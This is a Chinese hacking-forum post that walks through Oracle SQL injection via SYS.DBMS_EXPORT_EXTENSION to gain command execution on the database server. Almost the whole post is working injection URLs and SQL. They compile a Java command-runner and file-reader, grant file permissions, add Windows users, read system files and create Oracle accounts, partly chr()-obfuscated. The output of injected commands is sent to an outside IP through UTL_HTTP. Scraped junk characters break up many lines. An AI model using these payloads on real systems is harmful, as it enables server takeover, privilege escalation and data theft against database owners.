找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2203|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
* c; c1 ?! Q$ z0 o/ \# S5 I- s
! e6 Z: o% E0 V7 n5 v) g; V! `  ]  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) ' o- U8 g4 ~& f  t: ^& d
的形式即可。(用" 'a'|| "是为了让语句返回true值)
' s6 ?1 x$ u. f7 I; C语句有点长,可能要用post提交。
1 A6 y, ^4 V/ z以下是各个步骤:
! Q7 v, n5 i/ v* [5 n- g& r1.创建包
6 L( K- k% y- \/ B4 j通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
/ }/ g- ~* h  B* t2 q2 X/xxx.jsp?id=1 and '1'<>'a'||(
, E6 [; A) c, Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 V' j  A* \4 @% f$ s4 r
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(1 p8 r: y7 H! `" k; [8 G9 a
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}6 H& v) F+ l5 c- S) ^
}'''';END;'';END;--','SYS',0,'1',0) from dual 3 b5 ^- B& O5 G" V3 h  O. L4 I
) - |1 M. l4 a- Y  n9 _7 Z
------------------------
9 C; _$ }. K4 Y如果url有长度限制,可以把readFile()函数块去掉,即:
$ E, G; @5 |' g# A5 e7 Z! {/xxx.jsp?id=1 and '1'<>'a'||( 2 d/ ^$ i. Q- \/ l. X: ], R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 u6 o2 P2 u' C) L/ n* A
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
) L5 X8 b4 P) ]! L. [new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
& T) Y6 Y1 M# {}'''';END;'';END;--','SYS',0,'1',0) from dual ; ?' P, \) x5 v8 B( @$ R
)
8 F" v! h' r# z: U同时把后面步骤 提到的 对readFile()的处理语句去掉。
5 V; i3 o) D9 x------------------------------ ! V; B) @/ o7 y; [3 O' m
2.赋Java权限 : t5 c9 t4 ^7 q/ I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual2 E4 F" K8 i5 G5 V' M2 F, z
3.创建函数
# u/ O4 ^, L3 _$ \* T, @( b: x4 {$ oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- u" p2 v# ?8 b; b
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
  @8 B3 l) _9 D) P3 h  i7 Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; a8 F  S; D5 e5 S/ |
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
3 w9 E% I; _: s7 E0 l9 n  B+ r6 P; Q( c4.赋public执行函数的权限 + d: ?+ x$ Q  C4 I- Z+ d( O- U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual  q9 d& w3 H) o9 G$ l. @0 ~
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
, {$ k: k) [7 n5.测试上面的几步是否成功 " E0 A5 D5 }; s& }7 t: X, M
and '1'<>'11'||(
5 B: v& M1 j9 w. K/ `' Y$ qselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' 2 I, N: s$ G, S& a. C$ v1 I
)
% H- j; `8 Y  u3 _8 oand '1'<>(
8 A0 p5 @. P4 Aselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' , t' M8 D6 W1 q- p% M: P
)   P, e5 |5 {4 b; S. U9 p
6.执行命令: 9 n5 g+ C9 ^! K
/xxx.jsp?id=1 and '1'<>(
4 }# L7 V0 Z/ `0 T0 X/ xselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual . z4 }9 U- {# v% U6 I: [* y: n

; }  L7 U" @$ r)
2 T4 }1 B! @5 {& J/xxx.jsp?id=1 and '1'<>( 6 v( h7 `$ b7 p9 i3 q  ~9 ^
select  sys.LinxReadFile('c:/boot.ini') from dual1 v( Y( o6 C) c4 F

, H6 o2 p( c9 z6 })/ _% o5 P: N: y5 A: P3 m
  8 b" _5 O; w$ }
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 & U- n- O) K1 H; a# t6 x/ s
如果要查看运行结果可以用 union :
  [8 c* q0 t* M2 r: \" N/ ^0 _3 d" M0 K/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual% _9 U7 e+ l% t' H2 [. i* j/ F
或者UTL_HTTP.request(: 7 g1 Z: G# _# m- ^, R/ O. j* k
/xxx.jsp?id=1 and '1'<>(
  f# J* k2 D( E: y& i5 q6 a. _SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual8 U& F  Y$ \+ }6 @# u, W' Q
) ( D/ \1 l  `3 w# m+ h' m7 G
/xxx.jsp?id=1 and '1'<>( * y/ n, t3 |3 G
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual+ {! E% ^, X4 v& r. g
)
! B& h- M' ?: _3 P/ K+ e注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。3 m8 }: Y2 k; s4 E+ e
--------------------
# X3 A3 O- l0 P4 k, D6.内部变化
* u, H8 V; g2 {( d6 M5 L通过以下命令可以查看all_objects表达改变:   K2 ?' K6 u8 }* p
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'( e+ p/ ?" L  q& R9 F  U1 t
7.删除我们创建的函数 ) l: Q) M' w$ V5 |: V" j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 r% K8 m8 s8 }) C# [& @  qdrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual % Q; ^! N; [8 Q2 c
==================================================== 3 U0 _- m* m4 e
全文结束。谨以此文赠与我的朋友。
! t; ~1 g7 o' j0 i3 [4 @) vlinx
& N9 O, U, G: o9 F8 I# i! f124829445
+ W8 h& G6 `8 N4 h/ ]* v2008.1.12   x5 _1 M) G4 s3 ~* }2 d
linyujian@bjfu.edu.cn ( ]" p. t' ?% Z
======================================================================
. t& y7 M! n0 @" c8 _& N: h2 Y测试漏洞的另一方法: 6 [% q$ u( n. r3 V( |" c( O/ `6 @
创建oracle帐号:
# s  p/ `  `& e( sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) h8 D- q  w: i( OCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
% k5 }& T0 x% c. c即:
; o& ^; v/ L" R' u0 H0 Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),7 o, y. _$ i8 n( d2 L
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
3 K% e2 X5 [1 t8 C/ Y确定漏洞存在: ) c- J+ o4 g6 f7 i3 t: Z9 S2 V
1<>( 7 J4 \2 P& x) p$ q
select user_id from all_users where username='LINXSQL'
5 S; Y) C: j  g' ~) / Y$ U9 U9 i3 M- v8 @# p  W
给linxsql连接权限: $ e% U* Q& k" h* U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 u3 y( _- N: r9 P' s
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 3 Q! c5 d, a0 U: a, A) J1 k
删除帐号:
% o& M" L- t1 G7 A; |+ D) G' pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 Z/ R4 a4 e/ L. @7 h. h
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual $ O1 E& I- w; ~" ]$ c
====================== ' g+ Y7 J9 G! B( s+ h" f
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
0 h/ J" R( i  e( Q# G5 O- e* p1.jsp?id=1 and '1'<>(
9 P7 w) [5 H& Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 `* m( T6 S& w" E; ]
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual2 m6 y0 Q+ G- O+ z( C
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
( E" ~' C6 K7 H1 q9 `9 L )9 x; ~7 L  z( e6 ?

: d1 O4 Y4 T! |0 J6 ?) d6 L3 y0 H2 @
& s# E+ Q: P$ X( G( b2 R/ F& b, S. |0 Z0 ?( K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表